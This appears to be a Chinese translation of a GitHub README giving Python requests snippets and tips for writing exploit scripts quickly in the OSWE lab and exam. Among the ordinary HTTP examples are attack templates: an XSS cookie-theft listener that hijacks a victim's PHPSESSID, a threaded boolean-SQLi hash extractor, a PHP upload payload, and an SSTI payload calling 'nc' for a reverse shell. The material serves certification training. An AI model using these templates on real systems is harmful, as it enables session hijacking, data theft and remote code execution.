rizemon/exploit-writing-for-osweTips on how to write exploit scripts (faster!)
本仓库包含一系列与在 OSWE 实验室和认证考试中编写漏洞利用脚本相关的实用代码片段和技巧。
这里的一些示例可能违背某些编码实践，但我们的最终目标是快速且正确地编写漏洞利用脚本。
如果你对使用
requests库不熟悉，或者刚刚接触 Python，那么 代码片段 部分是一个很好的起点。否则，可以直接跳到 可复用代码 部分或 技巧 部分。
assert 在每个 HTTP 请求后执行健全性检查Session 对象，这样它就不需要显式地传递给每个函数调用BASE_URL 字符串并从它构造所需的 URLproxies 参数，请在运行时设置 HTTP_PROXY / HTTPS_PROXY 环境变量'）和双引号（"）时，使用 """ 创建 Payload 字符串import requests
def main():
print("Hello World!")
if __name__ == __main__:
main()
# For sending HTTP requests
import requests
# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode
# For getting current time or for calculating time delays
from time import time
# For regular expressions
import re
# For running shell commands
import subprocess
# For multithreading
from concurrent.futures import ThreadPoolExecutor
# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
# For parsing HTTP cookies
from http import cookies
# For getting command-line arguments
import sys
requests 库resp_obj = requests.get("https://github.com")
# GET method
requests.get("https://github.com")
# POST method
requests.post("https://github.com")
# PUT method
requests.put("https://github.com")
# PATCH method
requests.patch("https://github.com")
# DELETE method
requests.delete("https://github.com")
resp_obj = requests.get("https://github.com")
# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code
# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]
# Body as bytes
resp_obj.content
# Body as a string
resp_obj.text
# Body as a dictionary (if body is a JSON)
resp_obj.json()
params 参数）params = {
"foo": "bar"
}
requests.get("https://github.com", params=params)
data 参数）data = {
"foo": "bar"
}
requests.post("https://github.com", data=data)
json 参数）data = {
"foo": "bar"
}
requests.post("https://github.com", json=data)
files 参数）files = {
# (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
"uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}
requests.post("https://github.com", files=files)
headers 参数）headers = {
"X-Forwarded-For": "127.0.0.1"
}
requests.get("https://github.com", headers=headers)
cookies 参数）cookies = {
"PHPSESSID": "fakesession"
}
requests.get("https://github.com", cookies=cookies)
3XX 重定向（使用 allow_redirects 参数）requests.post("https://github.com/login", allow_redirects=False)
verify 参数）# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
requests.get("https://github.com", verify=False)
proxies 参数）proxies = {
"HTTP": "http://127.0.0.1:8080",
"HTTPS": "http://127.0.0.1:8080"
}
requests.get("https://github.com", proxies=proxies)
Sessionsession = requests.Session()
session.get("https://github.com")
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})
session = requests.Session()
session.headers["Authorization"] = "Basic 123"
tun0）http。data = {
"foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request
print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)
LHOST = "10.0.0.1"
WEB_PORT = 8000
JS_PAYLOAD = "<script>alert(1)</script>"
def start_web_server():
class MyHandler(BaseHTTPRequestHandler):
# Uncomment this method to suppress HTTP logs
# def log_message(self, format, *args):
# return
def do_GET(self):
if self.path.endswith('/payload.js'):
self.send_response(200)
self.send_header("Content-Type", "application/javascript")
self.send_header("Content-Length", str(len(JS_PAYLOAD)))
self.end_headers()
self.wfile.write(JS_PAYLOAD.encode())
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()
start_web_server()
LHOST = "10.0.0.1"
WEB_PORT = 8000
requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie
def send_xss_payload():
pass
def start_web_server():
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
# Load stolen cookie into session
_, enc_cookie = self.path.split("/?cookie=", 1)
plain_cookie = urlsafe_b64decode(enc_cookie).decode()
session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]
xss_event.set() # Trigger the event
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()
start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])
MAX_WORKERS = 20
HASH_LENGTH = 32
def exfiltrate_hash():
def boolean_sqli(arguments):
idx, ascii_val = arguments
# ...
# Perform SQLi and store boolean outcome into truth
# ...
return ascii_val, truth
result = ""
# Go through each character position
for idx in range(HASH_LENGTH):
# Use MAX_WORKERS threads to test possible ASCII values in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
# Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])
# Go through each response and determine which ASCII value is correct
for ascii_val, truth in responses:
if truth:
result += chr(ascii_val)
break
return result
hash = exfiltrate_hash()
assert 在每个 HTTP 请求后执行健全性检查示例：
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"
# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"
示例：
[+] Parsed command-line arguments and got:
* BASE_URL: http://example.com
* LHOST: 127.0.0.1
* LPORT: 1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN
示例：
def register():
pass
def login():
pass
def rce():
pass
Session 对象，这样它就不需要显式地传递给每个函数调用session = requests.Session()
def login():
session.post(...)
def rce():
session.post(...)
BASE_URL 字符串并从它构造所需的 URLBASE_URL = ""
session = requests.Session()
def login():
url = BASE_URL + "/login"
session.post(url, ...)
def rce():
url = BASE_URL + "/rce"
session.post(url, ...)
def main():
# Allow BASE_URL to be modified
global BASE_URL
BASE_URL = sys.argv[1]
...
proxies 参数，请在运行时设置 HTTP_PROXY / HTTPS_PROXY 环境变量$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py
'）和双引号（"）时，使用 """ 创建 Payload 字符串示例：
payload = """This is a '. This is a "."""
参见 加速 SQL 注入。
尤其是当必须完成许多耗时的步骤才能获得一个已认证的会话时。
示例：
session = requests.Session()
def main():
# Skipping these for now...
# register()
# login()
# TODO: Delete this line after you are
# done developing and uncomment the above steps!
session.cookies["JSESSIONID"] = "ADMIN_COOKIE"
# Exploit authenticated features...
...
{}），避免使用 f-string（f""）或 str.format仅仅为了转义而将每个花括号翻倍可能会很麻烦且容易出错。相反，可以使用简单的占位符，然后执行 .replace()！
示例：
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
.replace("<LHOST>", LHOST)\
.replace("<LPORT>", LPORT)